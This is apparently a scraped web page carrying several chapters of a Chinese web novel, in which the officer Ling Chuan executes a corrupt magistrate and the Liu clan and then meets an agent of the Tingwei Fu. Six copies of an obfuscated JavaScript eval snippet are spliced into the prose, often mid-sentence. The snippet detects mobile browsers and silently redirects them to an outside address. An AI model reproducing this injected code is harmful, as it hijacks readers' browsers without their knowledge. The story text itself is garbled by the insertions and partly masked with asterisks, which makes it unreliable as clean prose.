“关叔叔,公公不是说好了来给我爷爷祝寿的吗?他怎么能……”刘仙仪的语气略带责备,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948032|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话还没说完,便感觉一股寒意袭来,只见中年男子用冰冷的目光盯着她。 刘仙仪赶紧闭嘴,退到一旁。 半个时辰前,云州刺史贺临舟的马车行至云岚县三里之处,马车却忽然停下。 只见前方一匹马横在官道上,马背之上,一名男子仰面躺下,斗笠盖着脸以至于看不清面容。 “大人,前方有人拦路!”马夫小声说道。 骑马随行的关鹤见状,就要拔剑向前,可就在此时,那躺在马背上的男子说话了。 “贺大人,本都在此恭候多时了!” 听闻此言,车厢内的贺临舟神色一凛,只见他撩开车帘走了出来,问道:“敢问阁下是何人?” 躺在马背上的那人慢悠悠起身,说道:“贺大人不认识我,也应该认识这一身衣服吧?” 贺临舟定睛望去,顿时瞳孔一缩,螭纹服、踏星靴、垂云冠,以及腰间那把螭玄刀,都表明了来人的身份。 廷尉府! 大周自建立以来,天子身边便有两把利剑,一为通天鉴,其职责是监察百官和军中将领,通天卫散布朝堂及各州县,乃至边军之中都有他们的身影。 通天卫的名单只有当今陛下与贴身大太监知道,而且,每一位通天卫都是单独与那位大宦官传讯,由大宦官转交给陛下。 故此,除了陛下和他们自己之外,没有人知道谁是通天卫,就连通天卫自己,也没有见过除了自己之外的同僚。 这世上,就没有通天卫查不到的事情,毫不夸张地说,就连某位大臣的小妾身上屁股上的胎记,胸口有颗痣,通天卫都能查得清清楚楚。 大周三百年国祚,天子便是凭借通天卫,将许多意图谋反之人扼杀于起兵之前,避免了不知道多少**的发生。 其二便是廷尉府。 如果说,通天境是皇帝的一把暗剑,那么廷尉府便是悬在文武百官头上的那把刀。 廷尉府设一名总督,九大都统和三十六名都尉,每一名都尉手下有数百廷尉,势力非常庞大。 第117章 剑术高手,关鹤! 如果说,通天鉴便是监察百官获取罪证,那么接下来的事情便由廷尉府来执行,廷尉府乃皇权特许,三品以下官员可先斩后奏,权利大得吓**。 说一句一人之下、权倾朝野,也毫不为过。 此外廷尉府的酷刑更是让无数人闻风丧胆,无论是纵横沙场的猛将,还是训练有素的**,进了廷尉府大牢最大的奢望便是速死,据说迄今为止,还没有人能在廷尉府大牢中坚持十二个时辰不招的。 甚至传言,有人还没进廷尉府大牢的门,便被吓死。 贺临舟没想到廷尉府竟然找上了自己,此人身着蓝色螭纹服,说明他乃是一名都尉。 云州刺史,正四品官职,放眼北境,也是仅次于军中主帅兼七州节度使的卢恽筹,听起来很威风,可在廷尉府面前,根本就不值一提。 这些年来,被他们拉下马的官员重臣之中,三品以上的都不在少数,远的不说,南疆主帅苏定方案便是廷尉府一手操办,那可是正二品大将军啊,相比之下,自己这个云州刺史又算得了什么? 贺临舟眼底闪过一丝慌乱,不过他很快便将其掩饰起来。 只见他连忙走下马车,面朝对方恭恭敬敬行了一礼:“云州刺史贺临舟,见过都尉大人!不知大人远道而来,有何指教?” 通常情况下,廷尉府的人是不会与官员私下接触的,一旦廷尉府的人找上门来,也就意味着这个官员十有**要出问题。 这也导致,但凡被廷尉府找上,都会心惊胆战的原因。 “我来是告诉你,云岚县就别去了,现在回云州,把家里人安顿一下,三日之后,廷尉府上门拿人!”男子说得轻描淡写,可听在贺临舟的耳朵里,却宛如晴天霹雳。 霎时间,贺临舟仿佛被抽空了所有力气,那座阴暗潮湿宛如**巨兽的廷尉府大狱不由自主地浮现在脑海中,尽管他并未真正见过那座号称天下最恐怖的监狱,但却仿佛看到了各种带血的刑具挂在墙上,宛如死神的獠牙。 “敢问,敢问大人,下官所犯何罪?”贺临舟浑身哆嗦,问道。 “我只负责把你抓回去,其它的一概不知!”那名都尉淡淡回答道。 给他三天时间安排家事,根本不怕他逃走,这便是廷尉府的底气和实力。 说完,那名都尉便调转马头,朝着云岚县方向而去。 贺临舟浑身僵硬,转身走向马车,短短几步的距离,可他却走得异常艰难。 “关鹤,你去把少爷带回云州!”贺临舟对随行那名持剑中 年男子说道。 “老爷,要不……”关鹤看向那都尉离去的方向,右手紧握着剑柄,却被贺临舟制止。 “别冲动,你杀了他也起不到任何作用!”贺临舟有气无力地说道。 “大人,要不,我带你逃吧!”关鹤面露担忧之色,说道。 贺临舟再次摇头,说道:“逃不了,也不能逃!” 随即,便招呼马夫,驱车回云州。 刘家庄园,关鹤走进大厅,贺鸿羽无比激动,说道:“关叔叔,这个狗东西欺负仙仪,你快出手砍断他的双手双脚,我要将他变成人彘,让他受尽折磨而死!” 关鹤不为所动,说道:“大人让我带你回云州!” 贺鸿羽并未注意点关鹤神情的异常,此时的他脑海中只有一个念头,那就是报仇。 “你若不帮我报仇,就把我的尸体带回云州吧!”贺鸿羽态度决然。 关鹤轻叹了一口气,说道:“也罢!” 只见他转身看向凌川,随即缓缓拔出手中长剑。 剑身雪亮,出鞘的刹那,一道冰冷杀意席卷而出,让凌川顿时一惊。 直觉告诉凌川,此人是一名高手,他制止了正欲冲上来的孟钊和沈珏,而是朝苍蝇伸手,取来自己的战刀。 “锵!” “唰!” 长剑与战刀同时出鞘,紧接着,二人同时扑向对方。 伴随着一连串的金铁交鸣声,刀剑在刹那间碰撞数次,带起一连串的火花。 紧接着二人的身影一触即分,男子胸前的衣衫被划开一道口子,但并未伤及身体,反观凌川,他手臂颤抖,一抹鲜血顺着战刀流淌下来。 显然,就在刚才这一轮的交锋中,凌川受伤了。 让凌川震惊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948033|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,对方的剑法看起来并没有什么奇特之处,但却总能处处料敌先机,将自己所有的攻击都挡下的同时,还一剑刺中了自己的手臂。 关鹤一言不发,再次提剑朝着凌川走来。 凌川也顾不得自己的伤势,提刀便迎了上去,又是一番激烈交锋,凌川不断变招,刀法时而大开大合,时而刁钻诡谲,可对方似乎能看透他每一招的轨迹,总是能后发先至,轻松将其挡住。 忽然,凌川抓住一个空档,一刀横扫将其逼退,紧接着一记穿心腿踢向对方的胸口。 男子手中长剑顺势一挥,将凌川这一刀荡开,同时横臂挡下迎面踢来那一脚。 “砰……” 脚掌与手臂的碰撞声宛如战鼓擂响,凌川只感觉一 股无形的力量自对方手臂传来,当场震得他整条腿发麻。 这种感觉,与新婚之夜在狼烽口与那名黑衣人交手之时如出一辙。 这让他内心为之一惊,也正是因为如此,他才制止了孟钊与沈珏,因为,此人出现的时候,他便从对方身上感受到了危险的气息。 凌川连连后退,右腿已经失去了知觉,无法触地。 可关鹤却不想给他任何喘息的机会,抬手便是一剑朝着凌川刺来。 这一剑快如闪电,甚至都能听到剑锋刺破空气的声音,几乎是眨眼间便已来到凌川胸口跟前。 “大人小心!”沈珏最先反应过来,惊声提醒道,尽管他相隔凌川不过几步,想要出手相助也来不及。 “叮……” 伴随一声脆响,凌川使出一记逆浪分蛟,荡开了这一剑。 然而,对方剑锋一转,再次一剑横扫,朝着凌川胸口削来。 这一招比之前更加迅猛,更加狠辣,凌川避无可避,更没办法抵挡。 贺鸿羽和刘仙仪乃至刘家众人纷纷露出得意之色,似乎已经看到凌川身首异处血溅当场的画面。 至于苍蝇等一众亲兵,则是一颗心都提到了嗓子眼。 然而,就在剑锋距离凌川咽喉不足半尺的时候,却猛然停住了。 准确说,是关鹤持剑的手腕被人一把给抓住了。 第118章 一代剑神,杨斗重! 关鹤顿时一惊他定睛一看只见一名身型干瘦的老者不知何时出现在自己身边。 他右手拿着一只酒葫芦左手抓着自己的手腕一脸的气定神闲。 “这么多年不见你还是这么废物!” 老者说完顺手一推关鹤仿佛遭受重击连退七步。 忽然他目光一凝眼前这老者与他记忆中的一个名字快速重合说道:“杨斗重你还活着?” 来人不是别人正是本该在狼烽口的杨铁匠。 见到杨铁匠的刹那凌川总算是松了一口气虽然以往从未见过杨铁匠出手但可以肯定杨铁匠绝对是一位江湖高手。 只见杨铁匠举起酒壶将最后一口酒倒入口中随即直接将酒壶抛给凌川。 “你小子别以为跑到云岚县躲着就想赖掉老夫的酒!” 凌川哭笑不得似乎上次打赌是他输了答应以后帮自己打东西一律不收钱才对吧! 场中最为震惊的莫过于关鹤。 当年一代剑道高手折剑白云城自此销声匿迹本以为他已经老死于江湖没想到今日竟然现身云岚县。 只有真正处身江湖的人才知道‘三尺大江出广陵半座江湖尽失声!’这句话的分量。 可惜自白云城一战之后名剑大江折断一代剑神也绝迹江湖。 场中除了关鹤之外也就沈珏有这样的感触了只不过他入江湖的时候剑神已成为传说但并不影响他在江湖人心目中的地位。 “今日老夫不想**滚吧!”杨铁匠对关鹤摆了摆手就像是在驱赶阿猫阿狗。 关鹤收剑入鞘 杨铁匠不耐烦地挥了挥手说道:“带着人赶紧滚!” 关鹤不敢停留上前抓着贺鸿羽的手腕径直离开了刘家。 “夫君等等我!”刘仙仪大喊道。 贺鸿羽本想转身关鹤却死死拉着他快步走出大堂刘仙仪本想跟上去可对方走得太快根本没有要带上她的意思。 “杨老头你怎么来了?”凌川走到杨铁匠跟前笑着问道。 “你小子好意思说你给我留那点酒早就喝完了这段时间喝米酒嘴都快淡出个鸟来!”杨铁匠抱怨道。 紧接着他指着凌川说道:“我给你说啊刚刚我可是救了你一命记得报答老夫!” 凌川 哈哈大笑道:“放心吧,狼血管够!” “这还差不多!”杨铁匠说完,指了指不远处的席桌,说道:“我看那边菜都上齐了,我先去吃点,你继续!” 事情到了这一步,这寿宴俨然成为一个笑话,在得知刺史大人来不了之后,刘家人内心一片冰凉。 刘老爷子双腿发软,仿佛瞬间苍老了十岁。 “诸位,今日这寿宴到此结束,大家自便吧!”凌川的目光从这一众宾客身上扫过。 虽是喧宾夺主,可满场宾客却不敢有半句怨言,一个个蒙大赦,都顾不得跟刘家人打招呼便径直离开。 眨眼间,偌大的正堂便只剩下刘家人以及凌川的亲兵队。 还有正在不远处大口喝酒、大块吃肉的杨铁匠。 一道身影混迹在人群中,想蒙混离开,却被凌川给叫住。 “孙大人,你就别走了!” 孙文泰顿时浑身僵硬,一张脸难看到极点,沈珏走上前去,一把将他给拽了过来。 这些宾客走出刘家庄园,发现到处都是身披铠甲,手持战刀的士兵,整个刘家庄园已经被围得水泄不通。 不少人心中暗惊,如无意外,今日之后,刘家将彻底从云岚县消失了。 正堂之中,苍蝇给凌川搬来一把椅子,凌川就这么坐在这里,孙县令则是跪在不远处,浑身颤抖不已。 “凌,凌校尉,本官……我与刘家并无太多瓜葛,都是他们逼我的,我保证,保证以后再也不敢了,再也不敢了!” 凌川转过目光看着他,说道:“孙大人,国有国法,做错了事情就得承担相应的后果,这一点,你应该很清楚吧?” “我……” 紧接着,凌川声音陡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948034|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转冷,“身为一县父母官,不知体恤子民,反而与刘家狼狈为奸,压榨百姓,你这等狗官若是不死,难平民愤!” “唰!” 一道寒芒闪过,孙县令人头落地。 这一幕让刘家所有人心神一紧,不少人更是被吓得直哆嗦。 而凌川依旧坐在那里,任由身边那具无头尸体淌血,只见他缓缓抬起目光,看向刘家人。 “你们刘家人的罪名,我就不过多赘述了,不过,我可以明确告诉你们,今天,你们所有人都要死!” 听到这话,一众刘家人心如死灰,看向凌川的目光仿佛在看一头恶魔。 “你敢杀我们,刺史大人是不会放过你的!”一张脸肿得像猪头的刘仙仪依然活在幻想之中,哪怕是到了这个时候,依旧认为凌川会忌惮贺临舟,不敢对他们动刀。 凌川看着他,冷笑道:“你猜,贺临舟明明已经到了云岚县,为何会突然返回云州?” “这……可能是公公有要事处理,一时间脱不开身!” 凌川笑了笑,继续问道:“那你再猜猜,为何贺临舟的人只带走了你男人,却没有把你一起带走?” 刘仙仪彻底说不出话来。 紧接着,凌川再度抬起目光看向刘南庭,“刘老爷子,在你临死之前,能否为我解答几个疑问?” “哈哈哈哈……”刘南庭大笑几声,不过,那笑声之中充满了悲凉和无奈。 “我刘南庭谨慎了大半辈子,每走一步都是小心翼翼,没曾想最终竟然栽在你这个乳臭未干的小东西手里,我认了!” 刘南庭的眼神中透着决然之色,继续说道:“不过,你休想从刘家知道任**息,反正都是一死,你觉得我们会告诉你吗?” 凌川眉头微蹙,刘南庭的这副姿态,让凌川愈发觉得,刘家藏着很多秘密,他甚至怀疑,土堡事件到云岚县这一系列的事情,本身就是一体。 而这一系列事情的背后,所涉及到的人和势力,远比自己想象中的更为庞大。 第119章 令人发指! “凌川,你要杀便杀,我刘家人没有孬种!刘南庭目眦欲裂,大喝道。 “好!我成全你!凌川点了点头,随即指了指不远处的刘仙仪,说道:“那就从她开始吧! 见亲兵朝着自己走来,刘仙仪顿时吓得肝胆俱裂,连忙后退。 “不,你不能杀我,我是刺史大人的儿媳妇,你不能杀我…… 当看到亲兵手中那明晃晃的战刀之时,刘仙仪彻底慌了,她意识到,刺史大人儿媳妇这个身份根本不管用,在强烈的求生欲驱使下,连忙将求助的目光看向父亲。 “爹,救我,我不想死,爹你救救我…… 看着女儿被摁在地上苦苦哀求,刘桐心如刀绞,奈何,自己都已是泥菩萨过江。 “凌川,你枉为男子汉大丈夫,你与我刘家的恩怨尽管冲着刘家来,我女儿已经出嫁,你何必迁怒于她滥杀无辜?刘桐走上前来,怒声喝道。 凌川淡漠一笑,说道:“你的观点,我赞同一半,她确实出嫁了,但我杀她却算不得滥杀无辜! “如果我没记错的话,刘小姐十岁那年,只因有人在街上不小心撞了她一下,她便让家丁将其当街活活打死!其家人到县衙喊冤,被她得知后,更是直接带着人冲到县衙,于公堂之上,将其一家人的舌头割掉,还打断双腿! 刘仙仪目光一顿,这么多**情,她自己都快忘了,被凌川这么一提醒她才逐渐从记忆中搜寻了出来。 凌川看着她,继续说道:“十四岁那年,只因有人说城内某个少女比她漂亮,她便让人将其抓来,当众划烂对方的脸,还扣掉其双眼,任其自生自灭…… 凌川连数数条罪状,每一条都彰显着眼前这个女子的狠辣,哪怕是他们这种浴血沙场的边军,都觉得其手段之残忍简直令人发指。 “还要我继续说下去吗?凌川问道。 父女二人哑口无言。 凌川既然要对付刘家,又岂会不查一查她这个嫁给刺史大人做儿媳的重要人物? 事实上,刘仙仪的恶名早已传遍云岚县,几乎不用怎么调查,便能收集一大堆。 紧接着,凌川再次将目光看向刘桐,问道:“现在你还觉得,我杀她是滥杀无辜吗? “我错了,我知道错了,求求你,别杀我,我给你做牛做马都行,别杀我……刘仙仪嚎啕大哭,大声求饶。 “你不是知道错了,而是害怕了!凌川淡淡回应道。 就在亲兵举起战刀的时候,刘桐再度喊道:“ 凌川,你想知道什么?我都告诉你,只求你饶我女儿一命!” 凌川摇头,说道:“饶不了,我只能答应你,让她死得体面些!” 刘桐长叹一声,说道:“好,我房间的床底下有一个箱子,里面有你要的东西!” 说完,他缓步走到刘仙仪跟前,轻轻将她扶起来。 “爹,救救我,女儿不想死,爹……” “嗤……” 一把**刺穿了她的胸膛,刘仙仪双目一瞪,张了张嘴想要说什么,可最终一个字都说不出来,只有鲜血不断涌出。 刘桐抱着女儿的尸体,老泪纵横,他亲手了结了女儿的性命,这也好过被战刀砍下脑袋,死无全尸。 这一幕确实让人有些不忍,但刘家这些年的所作所为,简直是罪恶滔天,刘家上下,没有一个人是无辜的。 半个时辰之后,凌川带着亲兵队离开了刘家庄园,唐岿然的重甲队与薛焕之的乙标迅速进入庄园,清剿刘家余孽。 不过,他们依照凌川的命令,没有为难庄园里那些刘家下人,全部放走,但前提是确定对方不是刘家人。 如今,刘家彻底从云岚县消失,算是为云岚百姓除掉一颗毒瘤,尽管云岚县还有其他的乡绅家族,但有了刘家的前车之鉴,他们也断然不敢乱来。 回到校尉府,翠花快步跑了上来。 “怎么了翠花!” “公子,刚刚有贵客登门,说是您的故交,夫人招待着呢!” 凌川闻言顿时一愣,自己哪有什么故交。 进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948035|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正厅一看,只见一名陌生男子端着茶杯与苏璃闲聊。 凌川很确定,自己不认识此人,不过,身上那股由内而外散发的气势,却在告诉凌川,此人身份不一般。 此外,凌川还注意到,男子虽衣着普通,但那双靴子上却点缀着一颗颗星辰图案,不由得让他联想到陈暻垚跟自己提到过的一个群体。 见凌川进来,男子放下茶杯起身说道:“凌校尉,你终于回来了,我可是等候多时了啊!” 凌川微微一愣,问道:“阁下是?” “自我介绍一下,在下宴航,来自廷尉府!”男子介绍道。 听到廷尉府三个字,苏璃豁然站起身来,怒声问道:“你不是做马匹生意的吗?” 男子笑道:“我知道苏小姐因苏大将军的事情,敌视廷尉府,如果我不用一个假身份,估计连这军营的大门都进不了!” 苏璃再次一惊,“你知道我是谁?” 宴航笑道:“神都四美,苏大小姐的大名,我还是听过的,更何况廷尉府要查一个人并不是什么难事!” 凌川来到苏璃身边,轻声说道:“你先进屋去,这里交给我!” 苏璃点了点头,转身进屋。 凌川伸手示意道:“大人请坐!不知大人找凌某所为何事?” 之前在狼烽口的时候,凌川与陈暻垚闲聊曾了解到廷尉府和通天鉴,通天鉴一直在暗处,没有人知晓其身份,廷尉府则是行走于明处,以至于他们的很多信息都被人熟知。 不过,没有人愿意见到廷尉府的人,因为,他们出现的地方往往预示着你摊上麻烦了。 在得知对方来自廷尉府的时候,凌川的脑海中瞬间闪过多个念头,首先他想到的是,对方是因为刘家之事而来,不过,如果对方真是来阻止自己动刘家,那肯定会出现在刘家庄园,而不是在校尉府。 随即凌川又想到,对方会不会是奔着苏璃来的。 但很快也将这个想法否决,如果对方真是为苏璃而来,就不会跟苏璃聊那么久等自己回来了。 第120章 都尉宴航 宴航放下茶杯,说道:“凌校尉不必紧张,我是接到叶参军的消息,来帮你收拾云岚县这个烂摊子的! 听到这话,凌川总算是暗自出了一口气,主要是廷尉府的凶名威慑力太强,尽管自己行得正坐得直,但如今的大周已经腐朽到了骨子里,谁也不敢保证廷尉府和通天鉴这两大组织,依然对皇帝陛下绝对忠诚。 更何况,忠于陛下和忠于大周,是两个截然不同的概念! 如果这两大组织也开始站队,那想想就是一件可怕的事情。 听到对方的来意,凌川也终于明白,此前让聂星寒去传信给叶世珍,可聂星寒带回的消息是,叶先生让他放心做,云州刺史贺临舟到不了云岚县。 现在看来,贺临舟之所以没有出现在刘家,便是被此人给挡在了云岚县外。 可紧接着,凌川便想到了另外一系列的问题,自己搬到了刘家,便可以接受矿山开始炼造兵甲,而且刘家倒卖铁矿、收刮百姓,其家底肯定很惊人。 这些钱,自己可以投入军队和启动生意,如今,廷尉府介入进来,莫不是要摘取胜利果实? 就在此时,宴航的声音再度传来:“我此行时间紧迫,凌校尉只需拟一份刘家和孙县令的罪名,再将一些关键物证交与我就行了! 凌川闻言,剑眉微挑,问道:“刘家人还有几个关键人物我溜了活口,现如今关押在大牢之中,大人不准备押回去? 宴航摇了摇头,说道:“廷尉府办案,不需要那么麻烦,更何况,刘家这些年的所作所为,廷尉府一清二楚,只不过,其中牵涉太多,一直没有找到合适的时机动动他们! 这番话意味深长。 卢恽筹知道,但没有动;廷尉府也知道,同样没有动。 他们都在等一个人去动,而自己偏偏阴差阳错成了那把刀。 虽然自己只是动了一个豪强恶霸,但其背后所隐藏的势力却非常可怕,至少是连卢恽筹或者廷尉府都不想轻易去动的存在。 凌川试着问道:“贺临舟也参与了其中? 宴航一脸笑意地看着他,既没有点头,也没有摇头。 “凌校尉是聪明人,应该明白一个道理,有些事情不知道比知道更好! 凌川点了点头,没再继续这个话题,而是讨论云岚县现在的烂摊子。 “孙县令被我砍了,不知节度府会派谁来做这个县令? 宴航端起茶杯喝了一口,笑道:“你都说是你砍的,那自然是你自己把县令的事情一起做了 ,朝廷一时半会派不来人!” 凌川连连摆手,说道:“这活我可干不了,不过,我倒是有一个合适的人选!” “你说的是谢知命吧。我调查过他,此人确实颇有学识,做个县令是绰绰有余的,就算是执掌一州之地也不在话下,但若想鱼跃龙门,那得看造化了!” 宴航这番话,无异于是同意让谢知命做云岚县令了。 两人又聊了片刻,凌川写下一份有关刘家的罪状,其中关于矿山的事情,只是一笔带过。 宴航看着这罪状,满脸古怪,笑道:“都说字如其人,我看也不尽然嘛!” 凌川汗颜,自己来这个世界不过半年,前身又没读过书,哪里会写毛笔字? 宴航将罪状收入怀中,说道:“上次狼烽口外,你可是一战成名,廷尉府中不少人都知道你,希望你的名字不要出现在无常簿上!” 凌川笑着点头,将其送出了军营。 回屋便看到苏璃走了出来,问道:“人走了?” 凌川点了点头,说道:“娘子,我知道你父亲的案件是廷尉府一手操办的,不过他们只是执行命令,算不上主谋!” 苏璃点了点头,神色黯然道:“相公所言我皆知晓,只是想到父亲的惨死,我内心就……” 凌川轻轻将她搂入怀中,安慰道:“娘子莫要伤心了,你放心吧,总有一天,我会让参与的人一一偿命,他们一个都跑不掉!” 片刻之后,苏璃的情绪逐渐稳定下来,凌川问道:“小北呢?最近怎么没看到他?” “他呀,一直在校场跟随着士兵们训练呢!”苏璃笑道。 凌川也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948036|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着打趣道:“嗯,练兵要从娃娃抓起,这家伙将来必是当将军的料!” 天黑之前,唐岿然带人拉着东西回来了,二十多辆马车足足拉了三趟。 “大人,咱们发达了!”唐岿然满脸激动。 “说说看,都有些什么收获?”凌川问道。 “说出来,可别吓着大人,刚刚咱们清点了一遍,刘家粮仓之中足有十多万石粮食,地契房契装了几大箱,银子更是足足二十多万两,这些马车拉回来的全都是银子!” 唐岿然说得口若悬河,可凌川却并没有太激动,因为,他很清楚,这些东西要么是从百姓手中强取豪夺,要么是贩卖铁矿得来。 眼下刘家是倒台了,可这个烂摊子却不是一时半会能收拾好的。 “派些人手到大街上宣传,凡是被刘家抢夺了商铺田产的,明日到刘家大院去领回,就算没有被抢夺,也可以去领取一些粮食!”凌川对唐岿然交代道。 “明白,我这就派人去办!” 而凌川则是独自去往天香楼,得知凌川到来,谢知命赶忙出来相迎。 “凌兄,你可真是为云岚百姓除掉一大害啊!”谢知命激动地说道。 “谢兄言重了,这种事情,换做你也不会袖手旁观的,对吧?” 谢知命点了点头,说道:“我倒是想,可惜没有凌兄的铁血手腕啊!” 两人寒暄一番之后,凌川便直入主题,说道:“我今夜来找你,是有正事的!” 谢知命闻言,正色问道:“凌兄直言无妨!” “让你做云岚县令,明日上任!” “啊!”谢知命满脸惊愕,“凌兄,这不妥,我一没考取功名,二无朝廷任书,当这个县令名不正言不顺啊!” “以谢兄的学识才华,别说是治理一个小小的云岚县,就算是治理一州之地,也是信手拈来,至于任书,不日便会送达!” “可是……” 谢知命还想推辞,却被凌川伸手制止:“谢兄别忘了上次答应我的,若百姓需要,你定义不容辞!难道你真甘心将十年苦读烂在肚子里吗?” 第121章 云岚县变天了! 见凌川话都说到这个份上,谢知命知道自己若是再推辞就有些不识抬举了。 他起身对着凌川恭恭敬敬行了一礼,“多谢令兄抬爱,谢某定不负凌兄和云岚百姓!” 他谢凌川不是因为官职,而是凌川对他学识和才能的欣赏。 “你先别急着谢我,眼下这个烂摊子还需要你帮着收拾!”凌川笑道。 “凌兄放心,谢某一定竭尽全力!” 次日,刘家满门抄斩的消息就传遍了整个云岚县,得知这一消息后,老百姓欢呼雀跃,大街上到处都能听到锣鼓声,很多人更是焚烧纸钱,告慰家人。 “爹、娘,你们听到了吗?刘家那群畜生终于下地狱了,你们可以瞑目了!” “妹子,哥没用,没能帮你报仇,不过凌校尉给你报仇了,亲手砍下了刘家人的脑袋,哥决定去参军,用下半生报答凌校尉!” 刘家倒台,云岚县上空那只大手被撕碎,终于恢复了朗朗乾坤。 刘家大院已经被清理干净,地上看不到半点血迹,但,整个云岚县的人都知道,就在昨日,这里人血流成河,人头滚滚。 或许,这座大院是刘家仅剩的辉煌见证,也是刘家罪恶的铁证。 一大早,百姓们便自发来到这里,尽管昨日有士兵到处告知,那些被刘家强占田地和商铺的百姓可以去将地契领回,但很多人还是不敢相信。 谢知命一早便将整个云岚县的里正以及一些高寿老人都请来,主要是帮忙核对身份,以免出现地契被冒领的情况。 那些百姓拿回自己的地契之后,很多人喜极而泣,感动得当场跪拜。 刘家曾侵占了云岚县近半数的良田和商铺,地契都装了整整三口大箱子,但是,发放过程中需要多方面核对,这工作量不是一般的大。 凌川刻意让苏璃来帮忙,凭她过目不忘的本领,让事情进展快了很多。 至于那些原本就属于刘家的田产,谢知命则是暂时保留了下来,后续摸清情况之后,在分发给那些没有田地的百姓。 此外,凌川让卫敛开仓放粮,只要是云岚县百姓都能领到一些粮食。 至于矿山那边,大部分矿工都如约返回,原本很多人是不打算回来的,毕竟,这个地方对于他们来说,简直就是地狱。 可听到刘家倒台的消息之后,很多人都想到了凌川当日许诺他们,三日之后回来领取工钱。 很多人抱着试一试的心态回到矿山,发现之前镇守矿区那名标长已经在根据账簿发放工钱,这让 那些还在观望的人也都赶了过来。 薛焕之根据账簿核对他们在矿工劳作的时间进行核算工钱,为了确保准确,几乎将整个云岚县的账房先生全部请了过来,一个个算盘都快打冒烟了。 发放完工钱之后,薛焕之向矿工们传达了凌川的意思。 “凌校尉让我转告大家,以后这矿场会继续开采,大家如果愿意留下来继续挖矿,我们会每月如数发放工钱,而且,保证大家每天劳作时间不超过五个时辰,每月两天探亲假!” “有饭吃,有工钱?大人,你说的是真的吗?”一名矿工一脸难以置信的表情,问道。 “每天采矿不超过五个时辰,每个月还能放假两天回家探亲,这么好的差事上哪儿找去。” “大家放心,咱们校尉说话算数!”薛焕之点头说道:“还有,如果想投军的兄弟,可以去参加入伍考核,只要考核通过,便可以参军!” 此言一出,之前被章俊用招兵的幌子骗来那些矿工也一阵欢呼。 整整三天,终于将这一系列琐事处理完毕。 整个云岚县欢呼声不断,不少人更是来到军营跟前跪拜。 夜间,凌川与谢知命二人在天香楼对坐而饮,虽然这几天搞得身心疲惫,可看到百姓脸上的笑容,他们觉得这一切都值得。 “当一个好官,可真不容易啊!”谢知命感叹道。 “都说县令乃是一方父母官,不仅要为老百姓主持公道,更要为老百姓谋生路,当官不易,当好官更不易!”二人端起酒杯对碰了一下,随即一饮而尽。 “接下来,我会让人挖一条水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948037|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渠,将虎头峰的水引下来,供百姓饮用;谢兄这边也要尽快将田地分发妥当,千万别错过了农耕!” 